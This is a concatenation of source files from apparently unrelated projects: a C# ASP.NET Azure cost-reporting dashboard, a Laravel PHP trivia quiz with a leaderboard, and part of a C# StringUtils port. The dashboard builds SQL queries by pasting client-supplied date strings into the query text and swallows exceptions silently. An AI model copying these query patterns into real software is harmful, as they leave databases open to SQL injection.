1][i] = CorrectTagFormat(cell); else dtable.Rows[dtable.Rows.Count - 1][i] = cell; } i++; } } } } } } else count = count + 1; } else { foreach (string cell in row.Split(',')) { if (cell == "") { if (i == 31) dtable.Rows[dtable.Rows.Count - 1][i] = getTag(dtable.Rows[dtable.Rows.Count - 1][12].ToString()); else dtable.Rows[dtable.Rows.Count - 1][i] = null; } else { if (i == 31) dtable.Rows[dtable.Rows.Count - 1][i] = CorrectTagFormat(cell); else dtable.Rows[dtable.Rows.Count - 1][i] = cell; } i++; } } } else j++; } } if (AddIntoDatabase(dtable)) { // File.Delete("temp.csv"); lblMsg.Visible = true; lblMsg.Text = "Data Added Successfully..!!!"; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblMsg.ClientID + "').style.display='none'\",2000)</script>"); CurrentDataDates("start"); CurrentDataDates("end"); } else { lblMsg.Visible = true; lblMsg.Text = "Data Addition Failed..!!!"; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblMsg.ClientID + "').style.display='none'\",2000)</script>"); } } public bool AddIntoDatabase(DataTable data) { try { string connstring = System.Configuration.ConfigurationManager.ConnectionStrings["AzureDBConnectionString"].ConnectionString; using (SqlConnection conn = new SqlConnection(connstring)) { using (SqlBulkCopy sqlbkcopy = new SqlBulkCopy(conn)) { sqlbkcopy.DestinationTableName = "dbo.ReportData"; conn.Open(); sqlbkcopy.WriteToServer(data); conn.Close(); } } return true; } catch (Exception ex) { return false; } } void CurrentDataDates(string time) { List<object> data = new List<object>(); string query; if(time == "start") { query = "select top(1) Date from dbo.ReportData where Date != 'NULL' group by Date order by Date Asc"; } else { query = "select top(1) Date from dbo.ReportData where Date != 'NULL' group by Date order by Date Desc"; } try { DataTable dtDataItemsSets = ExecuteQuery(query); DataRow dt = dtDataItemsSets.Rows[0]; string val = dt["Date"].ToString(); if (time == "start") lblFrom.Text = val; else lblTo.Text = val; } catch (Exception ex) { lblFrom.Text = "No Data"; lblTo.Text = "No Data"; } } protected void btnClear_Click(object sender, EventArgs e) { if(ClearDatabase()) { lblMsg.Visible = true; lblMsg.Text = "Data Cleared Successfully..!!!"; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblMsg.ClientID + "').style.display='none'\",2000)</script>"); } else { lblMsg.Visible = true; lblMsg.Text = "Data Deletion Failed..!!!"; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblMsg.ClientID + "').style.display='none'\",2000)</script>"); } } bool ClearDatabase() { try { string connstring = System.Configuration.ConfigurationManager.ConnectionStrings["AzureDBConnectionString"].ConnectionString; using (SqlConnection conn = new SqlConnection(connstring)) { string query = "DELETE FROM dbo.ReportData"; SqlCommand cmd = new SqlCommand(query, conn); try { conn.Open(); cmd.ExecuteNonQuery(); return true; } catch (SqlException se) { return false; } finally { conn.Close(); } } } catch (Exception ex) { return false; } } void getTagsList() { using (StreamReader sr = new StreamReader(Path.Combine(HttpContext.Current.Server.MapPath("~"), "Tags.csv"))) { dtCSV = new DataTable(); dtCSV.Columns.AddRange(new DataColumn[2] { new DataColumn(("InstanceId"),typeof(string)), new DataColumn(("Tag"),typeof(string)) }); while (!sr.EndOfStream) { string[] rows = sr.ReadLine().Split(','); DataRow dr = dtCSV.NewRow(); for (int i = 0; i < rows.Count(); i++) { dr[i] = rows[i]; } dtCSV.Rows.Add(dr); } } }//end of getTagsList Function string getTag(string instanceId) { string tag = ""; for (int i = 0; i < dtCSV.Rows.Count; i++) { string cid = dtCSV.Rows[i][0].ToString(); if (String.Equals(cid, instanceId, StringComparison.OrdinalIgnoreCase)) { tag = dtCSV.Rows[i][1].ToString(); } } if (tag != "") tag = CorrectTagFormat(tag); else tag = tag + ""; return tag; }//end of getTag Function string CorrectTagFormat(string Tag) { var charsToRemove = new string[] { "@", ",", ".", ";", " ", "\"", "/", "{", "}" }; foreach (var c in charsToRemove) { Tag = Tag.Replace(c, string.Empty); } string[] temp = Tag.Split(':'); Tag = temp[0] + " " + ":" + " " + temp[1]; return Tag; }//end or CorrectTagFormat Function public DataTable ExecuteQuery(string query) { SqlConnection conn = new SqlConnection(System.Configuration.ConfigurationManager.ConnectionStrings["AzureDBConnectionString"].ConnectionString); SqlDataAdapter dap = new SqlDataAdapter(query, conn); DataSet ds = new DataSet(); dap.Fill(ds); return ds.Tables[0]; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Data; using System.Data.SqlClient; using System.Web.Script.Serialization; namespace EnterpriseAutomation.lumino { public partial class Dashboard : System.Web.UI.Page { string startDate = ""; string endDate = ""; protected void Page_Load(object sender, EventArgs e) { getProductNames(startDate,endDate); getBillsbyProduct(startDate,endDate); getTotalCost(startDate, endDate); getTags(startDate, endDate); getBillsbyTags(startDate, endDate); getDates(startDate, endDate); getBillsbyDate(startDate, endDate); ProductPieChart(startDate, endDate); TopTenTags(startDate, endDate); ProductBarChart(startDate, endDate); DateWiseBarChart(startDate, endDate); } void getProductNames(string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select SubscriptionName from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' Group by SubscriptionName"; } else { query = "Select SubscriptionName from dbo.ReportData Group by SubscriptionName"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<string> Product = new List<string>(); foreach (DataRow dr in dtDataItemsSets.Rows) { string val; val = dr["SubscriptionName"].ToString(); if (val != "") { Product.Add(val); } } data.Add(Product); JavaScriptSerializer ser = new JavaScriptSerializer(); hfLabels.Value = ser.Serialize(data); } void getBillsbyProduct(string sdate , string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' and SubscriptionName != 'TLX-Internal' Group by SubscriptionName "; } else { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData Where SubscriptionName != 'TLX-Internal' Group by SubscriptionName"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<double> bills = new List<double>(); int i = 0; foreach (DataRow dr in dtDataItemsSets.Rows) { double val; if (dr["Cost"].ToString() != "") { val =Convert.ToDouble(dr["Cost"].ToString()); val = Convert.ToDouble(Math.Round(Convert.ToDecimal(val), 2)); bills.Add(val); } else { val = 0; } } data.Add(bills); JavaScriptSerializer ser = new JavaScriptSerializer(); hfBillsProduct.Value = ser.Serialize(data); } void getTotalCost(string sdate , string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' and SubscriptionName != 'TLX-Internal'"; } else { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where SubscriptionName != 'TLX-Internal'"; } try { DataTable dtDataItemsSets = ExecuteQuery(query); DataRow dt = dtDataItemsSets.Rows[0]; string val = dt["Cost"].ToString(); decimal value = Math.Round(Convert.ToDecimal(val), 2); lblTotal.Text = "$" + value.ToString(); } catch { lblTotal.Text = "$" + 0; } } void getTags(string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select Tags from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags"; } else { query = "Select Tags from dbo.ReportData Group by Tags"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<string> Product = new List<string>(); foreach (DataRow dr in dtDataItemsSets.Rows) { string val; val = dr["Tags"].ToString(); if (val != "") { Product.Add(val); } } data.Add(Product); JavaScriptSerializer ser = new JavaScriptSerializer(); hfTags.Value = ser.Serialize(data); } void getBillsbyTags(string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags"; } else { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData Group by Tags"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<double> bills = new List<double>(); int i = 0; foreach (DataRow dr in dtDataItemsSets.Rows) { double val; if (dr["Cost"].ToString() != "") { val = Convert.ToDouble(dr["Cost"].ToString()); val = Convert.ToDouble(Math.Round(Convert.ToDecimal(val), 2)); bills.Add(val); } else { val = 0; } } data.Add(bills); JavaScriptSerializer ser = new JavaScriptSerializer(); hfBillsTags.Value = ser.Serialize(data); } void getDates(string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select Date from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Date order by Date"; } else { query = "Select Date from dbo.ReportData Group by Date order by Date"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<string> Product = new List<string>(); foreach (DataRow dr in dtDataItemsSets.Rows) { string val; val = dr["Date"].ToString(); if (val != "") { string[] value = val.Split('-'); Product.Add(value[2]); } } data.Add(Product); JavaScriptSerializer ser = new JavaScriptSerializer(); hfDates.Value = ser.Serialize(data); } void getBillsbyDate(string sdate, string edate) { List<object> data = new List<object>(); string query; if (sdate != "" && edate != "") { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Date order by Date"; } else { query = "Select SUM(Cast(dbo.ReportData.Cost as float)) as Cost from dbo.ReportData Group by Date order by Date"; } DataTable dtDataItemsSets = ExecuteQuery(query); List<double> bills = new List<double>(); int i = 0; foreach (DataRow dr in dtDataItemsSets.Rows) { double val; if (dr["Cost"].ToString() != "") { val = Convert.ToDouble(dr["Cost"].ToString()); val = Convert.ToDouble(Math.Round(Convert.ToDecimal(val), 2)); bills.Add(val); } else { val = 0; } } data.Add(bills); JavaScriptSerializer ser = new JavaScriptSerializer(); hfBillsDates.Value = ser.Serialize(data); } void ProductPieChart(string sdate,string edate) { string query; if (sdate != "" && edate != "") { query = "Select SubscriptionName, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' and SubscriptionName != 'TLX-Internal' Group by SubscriptionName "; } else { query = "Select SubscriptionName, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where SubscriptionName != 'TLX-Internal' Group by SubscriptionName"; } SqlDataSource1.SelectCommand = query; PieTemp.Series["Default"].Label = "#VALX" + ": " + "#PERCENT{P1}"; PieTemp.Series["Default"].LegendText = "#VALX" + " ($ " + "#VAL" + ")"; } void TopTenTags(string sdate, string edate) { string query; if (sdate != "" && edate != "") { query = "Select Top(10) Tags, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where Tags != 'NULL' and Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Tags order by Cost Desc"; } else { query = "Select Top(10) Tags, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where Tags != 'NULL' Group by Tags order by Cost Desc"; } DataTable dtDataItemsSets = ExecuteQuery(query); DataTable dtCloned = dtDataItemsSets.Clone(); dtCloned.Columns[1].DataType = typeof(string); foreach (DataRow row in dtDataItemsSets.Rows) { dtCloned.ImportRow(row); } foreach (DataRow dr in dtCloned.Rows) { string val; if (dr["Cost"].ToString() != "") { val = dr["Cost"].ToString(); val = "$ " + val.ToString(); dr["Cost"] = val; } } gridTags.DataSource = dtCloned; gridTags.DataBind(); } void ProductBarChart(string sdate, string edate) { string query; if (sdate != "" && edate != "") { query = "Select SubscriptionName, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' and SubscriptionName != 'TLX-Internal' Group by SubscriptionName order by Cost Asc"; } else { query = "Select SubscriptionName, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where SubscriptionName != 'TLX-Internal' Group by SubscriptionName order by Cost Asc"; } SqlDataSource2.SelectCommand = query; ProductChart.ChartAreas[0].AxisX.Interval = 1; ProductChart.Series["Default"].Label = "$ " + "#VALY"; ProductChart.Series[0].ToolTip = "#VALX : $ #VALY"; } void DateWiseBarChart(string sdate, string edate) { string query; if (sdate != "" && edate != "") { query = "Select Date, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData where Date >= '" + sdate + "' and Date <= '" + edate + "' Group by Date order by Date Desc"; } else { query = "Select Date, Round(SUM(Cast(dbo.ReportData.Cost as float)),2) as Cost from dbo.ReportData Group by Date order by Date Desc"; } SqlDataSource3.SelectCommand = query; DateChart.ChartAreas[0].AxisX.Interval = 1; DateChart.Series["Default"].Label = "$ " + "#VALY"; DateChart.Series[0].ToolTip = "#VALX : $ #VALY"; } public DataTable ExecuteQuery(string query) { SqlConnection conn = new SqlConnection(System.Configuration.ConfigurationManager.ConnectionStrings["AzureDBConnectionString"].ConnectionString); SqlDataAdapter dap = new SqlDataAdapter(query, conn); DataSet ds = new DataSet(); dap.Fill(ds); return ds.Tables[0]; } protected void btnlogin_Click(object sender, EventArgs e) { startDate = hfstartDate.Value.ToString(); endDate = hfendDate.Value.ToString(); getProductNames(startDate, endDate); getBillsbyProduct(startDate, endDate); getTotalCost(startDate, endDate); getTags(startDate, endDate); getBillsbyTags(startDate, endDate); getDates(startDate, endDate); getBillsbyDate(startDate, endDate); ProductPieChart(startDate, endDate); TopTenTags(startDate, endDate); ProductBarChart(startDate, endDate); DateWiseBarChart(startDate, endDate); } protected void PieTemp_Load(object sender, EventArgs e) { } protected void gridTags_RowCreated(object sender, GridViewRowEventArgs e) { } protected void gridTags_RowCreated1(object sender, GridViewRowEventArgs e) { if (gridTags.Rows.Count != 0) { for (int i = 0; i < gridTags.Rows[gridTags.Rows.Count - 1].Cells.Count; i++) { if (i == 0) gridTags.Rows[gridTags.Rows.Count - 1].Cells[i].HorizontalAlign = HorizontalAlign.Left; else gridTags.Rows[gridTags.Rows.Count - 1].Cells[i].HorizontalAlign = HorizontalAlign.Right; } } else { if (e.Row.RowType == DataControlRowType.Header) { int NumCells = e.Row.Cells.Count; for (int i = 0; i < NumCells; i++) { string value = e.Row.Cells[i].Text; e.Row.Cells[i].HorizontalAlign = HorizontalAlign.Center; } } } } } }
19f0bcf69e4d50fe8f8a87648878b22b2d36b3ae
[ "C#" ]
7
C#
AbdullahAmjad-786/CostAutomation
e9db9cd2c93aef8efc30e119ddd3ede3fa2538e5
0b24bdf6b0b5e19191a57873f674e17e4c2bda1a
refs/heads/master
<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Users; class PagesController extends Controller { // public function index() { return view('index'); } public function play() { return view('pages.play'); } public function contact() { return view('pages.contact'); } public function leaderboard($username) { //this is the leaderboard with the current user's score and rank at the top if ($username !== "all") { //get all users $all_users = Users::orderBy('score', 'desc')->get(); //get all the users and rank them $users = Users::orderBy('score', 'desc')->get()->take(50); //get the rank of the user who just played the game $number_of_users = count($users); //loop through the collection of users, once we find the user passed on the url, we fetch his score and rank him for ($i = 0; $i < $number_of_users; $i++) { if ($all_users[$i]->name == $username) { $rank = $i + 1; $score = $all_users[$i]->score; } } //this variable will be used in the view to rank users $user_rank = 1; return view('pages.leaderboard')->with(["users" => $users, "rank" => $rank, "score" => $score, "user_rank" => $user_rank]); } //this is just a simple leaderboard else { $users = Users::orderBy('score', 'desc')->get()->take(50); //this variable will be used in the view to rank users $user_rank = 1; return view('pages.leaderboard')->with(["users" => $users, "user_rank" => $user_rank]); } } public function privacy_policy() { return view('pages.privacy'); } } <file_sep>$(document).ready(function(){ $('#option1').keyup(function(event){ var option1 = $('#option1').val(); $('#answer1').val(option1); $('#answer1').html(option1); }) $('#option2').keyup(function(event){ var option2 = $('#option2').val(); $('#answer2').val(option2); $('#answer2').html(option2); }) $('#option3').keyup(function(event){ var option3 = $('#option3').val(); $('#answer3').val(option3); $('#answer3').html(option3); }) $('#option4').keyup(function(event){ var option4 = $('#option4').val(); $('#answer4').val(option4); $('#answer4').html(option4); }) })<file_sep><?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', 'PagesController@index'); Auth::routes(); Route::get('/home', 'HomeController@index')->name('home'); Route::post('/home', 'QuestionsController@add_question');\ Route::get('/play', 'PagesController@play'); Route::get('/contact', 'PagesController@contact'); Route::get('/play/{category}', 'QuestionsController@play'); Route::get('/play/{category}/next', 'QuestionsController@handle_ajax'); Route::get('/answer', 'QuestionsController@check_answer'); Route::post('/user-form-submit/{score}', 'UsersController@add_users'); Route::get('/leaderboard/{name}', 'PagesController@leaderboard'); Route::get('/leaderboard/all', 'PagesController@leaderboard'); Route::get('/privacy-policy', 'PagesController@privacy_policy'); <file_sep><?php namespace App\Http\Controllers; use App\Users; use Illuminate\Http\Request; class UsersController extends Controller { // public function add_users(Request $request, $score) { $this->validate($request, [ 'name' => 'required', 'email' => 'required' ]); //check if the email already exists $user = Users::Where('email', $request->input('email'))->first(); if (isset($user->email)) { //take the current score and add it to the latest score if ($user->name == $request->input('name')) { $new_score = $score + $user->score; $user->update(array('score' => $new_score)); } else { //this will prevent the user from signing up with the same email twice $this->validate($request, ['name' => 'unique:users', 'email' => 'unique:users']); } } else { $this->validate($request, ['name' => 'unique:users', 'email' => 'unique:users']); $users = new Users; $users->name = $request->input('name'); $users->email = $request->input('email'); $users->score = $score; $users->save(); } $data = [ 'error_message' => "<div class='alert-warning'> Your informations have been submitted, you can access the leaderboard now </div>", 'name' => $request->input('name'), 'email' => $request->input('email') ]; return $data; } } <file_sep><?php namespace App\Http\Controllers; use App\Question; use Illuminate\Http\Request; class QuestionsController extends Controller { // public function add_question(Request $request) { $this->validate($request, [ 'question' => 'required|unique:questions', 'option1' => 'required', 'option2' => 'required', 'option3' => 'required', 'option4' => 'required', 'answer' => 'required', 'category' => 'required' ]); $question = new Question; $question->question = $request->input('question'); $question->option1 = $request->input('option1'); $question->option2 = $request->input('option2'); $question->option3 = $request->input('option3'); $question->option4 = $request->input('option4'); $question->answer = $request->input('answer'); $question->category = $request->input('category'); $question->save(); return redirect('/home')->with(['success' => "A question has been added"]); } //once you choose a category, a question appears on the screen and it's selected randomly public function play($category) { $questions = Question::Where('category', $category)->inRandomOrder()->first(); return view('pages.game')->with(['question' => $questions]); } //select question randomly after you answer to a question public function handle_ajax($category) { $questions = Question::Where('category', $category)->inRandomOrder()->first(); return $questions; } //check if the answer is right public function check_answer(Request $request) { $question = Question::Where('question', $request->get('question'))->first(); if ($question->answer == $request->get('answer')) { return 'right answer'; } else { return 'wrong answer'; } } }
d64f599562287392c836fedb0f663b1b52ed9f1f
[ "JavaScript", "PHP" ]
5
PHP
kevilondo/Guessit
236b48ec672cfeb570e165dc210a404ad0ff2740
99be84afd5acf55f1ca48d9bbf1d7c9d94ef3418
refs/heads/master
<file_sep>namespace org.antlr.codebuff.misc { using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using MurmurHash = Antlr4.Runtime.Misc.MurmurHash; /// <summary> /// A key that identifies a parent/child/separator relationship where the child /// is a sibling list. The separator must be part of key so that expressions /// can distinguish between different operators. /// </summary> public class ParentSiblingListKey { public int parentRuleIndex; public int parentRuleAlt; public int childRuleIndex; public int childRuleAlt; public int separatorTokenType; public ParentSiblingListKey(ParserRuleContext parent, ParserRuleContext child, int separatorTokenType) { parentRuleIndex = parent.RuleIndex; parentRuleAlt = parent.getAltNumber();; childRuleIndex = child.RuleIndex; childRuleAlt = child.getAltNumber(); this.separatorTokenType = separatorTokenType; } public override bool Equals(object obj) { if (obj == this) { return true; } else if (!(obj is ParentSiblingListKey)) { return false; } ParentSiblingListKey other = (ParentSiblingListKey)obj; return parentRuleIndex == other.parentRuleIndex && parentRuleAlt == other.parentRuleAlt && childRuleIndex == other.childRuleIndex && childRuleAlt == other.childRuleAlt && separatorTokenType == other.separatorTokenType; } public override int GetHashCode() { int hash = org.antlr.codebuff.misc.MurmurHash.Initialize(); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, parentRuleIndex); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, parentRuleAlt); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, childRuleIndex); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, childRuleAlt); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, separatorTokenType); return org.antlr.codebuff.misc.MurmurHash.Finish(hash, 5); } public override string ToString() { return string.Format("({0:D}, {1:D}, {2:D}, {3:D}, {4:D})", parentRuleIndex, parentRuleAlt, childRuleIndex, childRuleAlt, separatorTokenType); } } }<file_sep>namespace org.antlr.codebuff.validation { public class ANTLROneFileCapture : OneFileCapture { public static void Main(string[] args) { runCaptureForOneLanguage(Tool.ANTLR4_DESCR); } } }<file_sep>using System; using System.Collections.Generic; using System.Globalization; using System.Text; using CharSequence = System.String; /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace org.antlr.codebuff.misc { /// <summary> /// <para>Operations on <seealso cref="java.lang.String"/> that are /// {@code null} safe.</para> /// /// <ul> /// <li><b>IsEmpty/IsBlank</b> /// - checks if a String contains text</li> /// <li><b>Trim/Strip</b> /// - removes leading and trailing whitespace</li> /// <li><b>Equals/Compare</b> /// - compares two strings null-safe</li> /// <li><b>startsWith</b> /// - check if a String starts with a prefix null-safe</li> /// <li><b>endsWith</b> /// - check if a String ends with a suffix null-safe</li> /// <li><b>IndexOf/LastIndexOf/Contains</b> /// - null-safe index-of checks /// <li><b>IndexOfAny/LastIndexOfAny/IndexOfAnyBut/LastIndexOfAnyBut</b> /// - index-of any of a set of Strings</li> /// <li><b>ContainsOnly/ContainsNone/ContainsAny</b> /// - does String contains only/none/any of these characters</li> /// <li><b>Substring/Left/Right/Mid</b> /// - null-safe substring extractions</li> /// <li><b>SubstringBefore/SubstringAfter/SubstringBetween</b> /// - substring extraction relative to other strings</li> /// <li><b>Split/Join</b> /// - splits a String into an array of substrings and vice versa</li> /// <li><b>Remove/Delete</b> /// - removes part of a String</li> /// <li><b>Replace/Overlay</b> /// - Searches a String and replaces one String with another</li> /// <li><b>Chomp/Chop</b> /// - removes the last part of a String</li> /// <li><b>AppendIfMissing</b> /// - appends a suffix to the end of the String if not present</li> /// <li><b>PrependIfMissing</b> /// - prepends a prefix to the start of the String if not present</li> /// <li><b>LeftPad/RightPad/Center/Repeat</b> /// - pads a String</li> /// <li><b>UpperCase/LowerCase/SwapCase/Capitalize/Uncapitalize</b> /// - changes the case of a String</li> /// <li><b>CountMatches</b> /// - counts the number of occurrences of one String in another</li> /// <li><b>IsAlpha/IsNumeric/IsWhitespace/IsAsciiPrintable</b> /// - checks the characters in a String</li> /// <li><b>DefaultString</b> /// - protects against a null input String</li> /// <li><b>Rotate</b> /// - rotate (circular shift) a String</li> /// <li><b>Reverse/ReverseDelimited</b> /// - reverses a String</li> /// <li><b>Abbreviate</b> /// - abbreviates a string using ellipsis or another given String</li> /// <li><b>Difference</b> /// - compares Strings and reports on their differences</li> /// <li><b>LevenshteinDistance</b> /// - the number of changes needed to change one String into another</li> /// </ul> /// /// <para>The {@code StringUtils} class defines certain words related to /// String handling.</para> /// /// <ul> /// <li>null - {@code null}</li> /// <li>empty - a zero-length string ({@code ""})</li> /// <li>space - the space character ({@code ' '}, char 32)</li> /// <li>whitespace - the characters defined by <seealso cref="Character#isWhitespace(char)"/></li> /// <li>trim - the characters &lt;= 32 as in <seealso cref="String#trim()"/></li> /// </ul> /// /// <para>{@code StringUtils} handles {@code null} input Strings quietly. /// That is to say that a {@code null} input will return {@code null}. /// Where a {@code boolean} or {@code int} is being returned /// details vary by method.</para> /// /// <para>A side effect of the {@code null} handling is that a /// {@code NullPointerException} should be considered a bug in /// {@code StringUtils}.</para> /// /// <para>Methods in this class give sample code to explain their operation. /// The symbol {@code *} is used to indicate any input including {@code null}.</para> /// /// <para>#ThreadSafe#</para> </summary> /// <seealso cref= java.lang.String /// @since 1.0 </seealso> //@Immutable public class StringUtils { // Performance testing notes (JDK 1.4, Jul03, scolebourne) // Whitespace: // Character.isWhitespace() is faster than WHITESPACE.indexOf() // where WHITESPACE is a string of all whitespace characters // // Character access: // String.charAt(n) versus toCharArray(), then array[n] // String.charAt(n) is about 15% worse for a 10K string // They are about equal for a length 50 string // String.charAt(n) is about 4 times better for a length 3 string // String.charAt(n) is best bet overall // // Append: // String.concat about twice as fast as StringBuffer.append // (not sure who tested this) /// <summary> /// A String for a space character. /// /// @since 3.2 /// </summary> public const string SPACE = " "; /// <summary> /// The empty String {@code ""}. /// @since 2.0 /// </summary> public const string EMPTY = ""; /// <summary> /// A String for linefeed LF ("\n"). /// </summary> /// <seealso cref= <a href="http://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#jls-3.10.6">JLF: Escape Sequences /// for Character and String Literals</a> /// @since 3.2 </seealso> public const string LF = "\n"; /// <summary> /// A String for carriage return CR ("\r"). /// </summary> /// <seealso cref= <a href="http://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#jls-3.10.6">JLF: Escape Sequences /// for Character and String Literals</a> /// @since 3.2 </seealso> public const string CR = "\r"; /// <summary> /// Represents a failed index search. /// @since 2.1 /// </summary> public const int INDEX_NOT_FOUND = -1; /// <summary> /// <para>The maximum size to which the padding constant(s) can expand.</para> /// </summary> private const int PAD_LIMIT = 8192; /// <summary> /// <para>{@code StringUtils} instances should NOT be constructed in /// standard programming. Instead, the class should be used as /// {@code StringUtils.trim(" foo ");}.</para> /// /// <para>This constructor is public to permit tools that require a JavaBean /// instance to operate.</para> /// </summary> public StringUtils() : base() { } // Empty checks //----------------------------------------------------------------------- /// <summary> /// <para>Checks if a CharSequence is empty ("") or null.</para> /// /// <pre> /// StringUtils.isEmpty(null) = true /// StringUtils.isEmpty("") = true /// StringUtils.isEmpty(" ") = false /// StringUtils.isEmpty("bob") = false /// StringUtils.isEmpty(" bob ") = false /// </pre> /// /// <para>NOTE: This method changed in Lang version 2.0. /// It no longer trims the CharSequence. /// That functionality is available in isBlank().</para> /// </summary> /// <param name="cs"> the CharSequence to check, may be null </param> /// <returns> {@code true} if the CharSequence is empty or null /// @since 3.0 Changed signature from isEmpty(String) to isEmpty(CharSequence) </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static boolean isEmpty(final CharSequence cs) public static bool isEmpty(CharSequence cs) { return cs == null || cs.Length == 0; } /// <summary> /// <para>Checks if a CharSequence is not empty ("") and not null.</para> /// /// <pre> /// StringUtils.isNotEmpty(null) = false /// StringUtils.isNotEmpty("") = false /// StringUtils.isNotEmpty(" ") = true /// StringUtils.isNotEmpty("bob") = true /// StringUtils.isNotEmpty(" bob ") = true /// </pre> /// </summary> /// <param name="cs"> the CharSequence to check, may be null </param> /// <returns> {@code true} if the CharSequence is not empty and not null /// @since 3.0 Changed signature from isNotEmpty(String) to isNotEmpty(CharSequence) </returns> //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: //ORIGINAL LINE: public static boolean isNotEmpty(final CharSequence cs) public static bool isNotEmpty(CharSequence cs) { return !isEmpty(cs); } ///// <summary> ///// <para>Checks if any of the CharSequences are empty ("") or null.</para> ///// ///// <pre> ///// StringUtils.isAnyEmpty(null) = true ///// StringUtils.isAnyEmpty(null, "foo") = true ///// StringUtils.isAnyEmpty("", "bar") = true ///// StringUtils.isAnyEmpty("bob", "") = true ///// StringUtils.isAnyEmpty(" bob ", null) = true ///// StringUtils.isAnyEmpty(" ", "bar") = false ///// StringUtils.isAnyEmpty("foo", "bar") = false ///// </pre> ///// </summary> ///// <param name="css"> the CharSequences to check, may be null or empty </param> ///// <returns> {@code true} if any of the CharSequences are empty or null ///// @since 3.2 </returns> ////JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: ////ORIGINAL LINE: public static boolean isAnyEmpty(final CharSequence... css) //public static bool isAnyEmpty(params CharSequence[] css) //{ // if (ArrayUtils.isEmpty(css)) // { // return false; // } // foreach (CharSequence cs in css) // { // if (isEmpty(cs)) // { // return true; // } // } // return false; //} ///// <summary> ///// <para>Checks if any of the CharSequences are not empty ("") and not null.</para> ///// ///// <pre> ///// StringUtils.isAnyNotEmpty(null) = false ///// StringUtils.isAnyNotEmpty(new String[] {}) = false ///// StringUtils.isAnyNotEmpty(null, "foo") = true ///// StringUtils.isAnyNotEmpty("", "bar") = true ///// StringUtils.isAnyNotEmpty("bob", "") = true ///// StringUtils.isAnyNotEmpty(" bob ", null) = true ///// StringUtils.isAnyNotEmpty(" ", "bar") = true ///// StringUtils.isAnyNotEmpty("foo", "bar") = true ///// </pre> ///// </summary> ///// <param name="css"> the CharSequences to check, may be null or empty </param> ///// <returns> {@code true} if any of the CharSequences are not empty and not null ///// @since 3.6 </returns> ////JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: 